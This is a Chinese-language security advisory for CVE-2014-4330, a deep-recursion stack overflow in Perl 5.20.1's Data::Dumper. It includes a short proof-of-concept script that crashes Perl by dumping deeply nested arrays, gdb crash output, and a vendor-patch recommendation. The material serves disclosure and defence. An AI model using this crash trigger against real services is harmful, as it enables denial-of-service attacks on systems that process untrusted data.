发布日期：2014-09-25
更新日期：2014-09-26

受影响系统：

Perl Perl 5.20.1

描述：

---

BUGTRAQ  ID: 70142
CVE(CAN) ID: CVE-2014-4330

Perl是一种高级、通用、直译式、动态的程序语言。

Perl 5.20.1及其他版本在数据转储器的实现上存在深度递归栈溢出漏洞，成功利用后可使攻击者造成拒绝服务。

<*来源：Markus Vervier
  *>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

Proof of Concept
================
$ cat min.pl
use strict;
use Data::Dumper;

my $dumpme = [];
for (my $i = 0; $i < $ARGV[0]; $i++) {
        $dumpme = [$dumpme, "AAAAAAAA"];
}
print Dumper($dumpme);

$ gdb --args perl min.pl 20000
GNU gdb (GDB) 7.4.1-debian
Copyright (C) 2012 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later
<http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /usr/bin/perl...Reading symbols from
/usr/lib/debug/usr/bin/perl...done.
done.
(gdb) run
Starting program: /usr/bin/perl min.pl 20000
warning: no loadable sections found in added symbol-file system-supplied
DSO at
0x7ffff7ffa000
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Program received signal SIGSEGV, Segmentation fault.
_IO_vfprintf_internal (s=0x7fffff7ff5c0, format=0x7ffff6bf5f89 "%ld",
    ap=0x7fffff7ff6f0) at vfprintf.c:1328
1328    vfprintf.c: No such file or directory.

It was confirmed that the overflow can be triggered via the XML::Parser
extension when parsing and dumping specially crafted XML-Documents.

建议：

---

厂商补丁：

Perl
----
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：

http://www.perl.com

浏览次数：5506
严重程度：0（网友投票）